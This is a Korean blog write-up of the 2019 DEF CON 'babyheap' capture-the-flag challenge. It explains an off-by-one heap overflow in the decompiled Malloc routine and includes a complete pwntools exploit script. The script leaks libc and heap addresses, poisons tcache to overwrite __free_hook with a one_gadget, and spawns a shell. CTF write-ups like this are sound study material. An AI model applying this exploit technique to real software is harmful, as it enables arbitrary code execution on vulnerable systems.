본문 바로가기

PWN

2019 defcon/ babyheap

전형적인 menu heap exploit 문제이다. 

 

menu

제공하는 기능은 다음과 같다.

  • Malloc
  • Free
  • Show 
  • Exit

각각의 함수들은 전형적인 모습이고, Malloc함수 외에는 취약점이 터지는 부분이 없기 때문에 설명을 생략한다. 취약점은 Malloc에서 발생한다. 청크를 할당한 후 입력받을 때 한 글자씩 입력받는다. 이때 입력을 받은 후 size 체크를 하기 때문에 한 바이트를 더 입력할 수 있다. 따라서 off-by-one 취약점이 발생한다.  

signed __int64 add()
{
  _QWORD *v0; // rax
  unsigned int i; // ebp
  __int64 size; // r12
  __int64 j; // rbx
  __int64 *v4; // rbp
  char buf; // [rsp+7h] [rbp-21h]
  unsigned __int64 v7; // [rsp+8h] [rbp-20h]

  v7 = __readfsqword(0x28u);
  if ( heaps[0] )
  {
    v0 = &unk_4070;
    for ( i = 1; ; ++i )
    {
      v0 += 2;
      if ( !*(v0 - 2) )
        break;
    }
    if ( i > 9 )
      return 0xFFFFFFFDLL;
  }
  else
  {
    i = 0;
  }
  __printf_chk(1LL, "Size:\n> ");
  LODWORD(size) = get_int();
  if ( (unsigned int)(size - 1) > 0x177 )
    return 0xFFFFFFFDLL;
  if ( (unsigned int)size <= 248 )
    heaps[2 * i] = (__int64)malloc(0xF8uLL);
  else
    heaps[2 * i] = (__int64)malloc(0x178uLL);
  if ( !heaps[2 * i] )
    return 0xFFFFFFFDLL;
  LODWORD(heaps[2 * i + 1]) = size;
  __printf_chk(1LL, "Content:\n> ");
  read(0, &buf, 1uLL);
  size = (unsigned int)size;
  j = 0LL;
  v4 = &heaps[2 * i];
  while ( buf != '\n' && buf )                  // null이랑 엔터 못 넣음
  {
    *(_BYTE *)(*v4 + j) = buf;
    read(0, &buf, 1uLL);
    if ( size == j )                            // off-by-one
      return 0LL;
    ++j;
  }
  return 0LL;
}

 

unsorted bin을 생성한 후 read에 아무것도 입력하지 않으면 libc와 heap 주소를 leak할 수 있다.

 

exploit을 위하여 tcache poisning기법을 사용했다. 익스플로잇 과정을 간단하게 요약하면 다음과 같다.

 

  1. libc leak
  2. malloc 0x100 --> chunk x
  3. overwrite x's size 0x100 -> 0x180
  4. free chunck x
  5. malloc 0x180 -> overwrite next chunk's meta data
from pwn import *


def add(size,content):
    p.sendline('M')
    p.recvuntil('>')
    p.sendline(str(size))
    p.recvuntil('>')
    p.sendline(content)
    p.recvuntil('>')


def free(idx):
    p.sendline('F')
    p.recvuntil('>')
    p.sendline(str(idx))
    p.recvuntil('>')
def show(idx):
    p.sendline('S')
    p.recvuntil('> ')
    p.sendline(str(idx))
    leak=p.recvuntil('\n').replace('\n','')
    p.recvuntil('>')
    return leak


def win():
    p.sendline('F')
    p.sendline('1')
p=process('babyheap')
p.recvuntil('>')




for _ in xrange(10):
    add(1,'a')
for x in xrange(10):
    free(x)
for x in xrange(10):
    add(1,'')


leak=show(7)
leak=leak.ljust(8,'\x00')
leak=u64(leak)


log.info('libc = '+hex(leak))
#gdb.attach(p,'b free\ncode\nb *0x013C4+$code')
libc=leak-0x1e4ca0
hook=libc+0x1e75a8#free_hook
system=libc+0x52fd0


log.info('libc = '+hex(libc))
log.info('hook = '+hex(hook))
log.info('system = '+hex(system))
for x in xrange(10):
    free(x)




add(248,'q')#0
add(248,'w')#1
add(248,'e')#2
add(248,'w')#3
free(0)#-0
free(1)#-1
add(248,'')#0
add(248,'')#1
leak=show(0).ljust(8,'\x00')
heap=u64(leak)-0x260
log.info('leak = '+hex(heap))


free(0)#-0
payload='/bin/sh&&'
payload+='a'*(248-len(payload))
payload+='\x80'


add(248,payload)#0  1'overwrite size
free(1)#-1 real : 0x100 fake: 0x180
'''
0---------------------------------




1--------------------------------
p64(0)  p64(0x180)


size = 0xf0


2---------------------------------
p64(0)  p64(0x100)


3--------------------------------


tcache 0x180 -> chunk1
'''
free(3)
free(2)


payload = "a"*0xf8+'b'*0x8+p64(hook).replace('\x00','')


print(len(payload))
add(len(payload)+0x10,payload)#overwrite 2's meta data
one=libc+0xe2383
payload = p64(one).replace('\x00','')
#gdb.attach(p)
add(8,'/bin/sh')#2


add(len(payload)+1,payload)#3
win()
p.interactive()

'PWN' 카테고리의 다른 글

HackTM CTF 2020 / Trip_to_trick  (0) 2020.02.10
[CISCN 2017] BabyDriver  (0) 2020.02.04
calloc without memset 0  (0) 2019.12.30
glibc 2.29 tcache  (0) 2019.12.28
glibc 2.29 malloc 분석1. [청크, malloc]  (0) 2019.12.27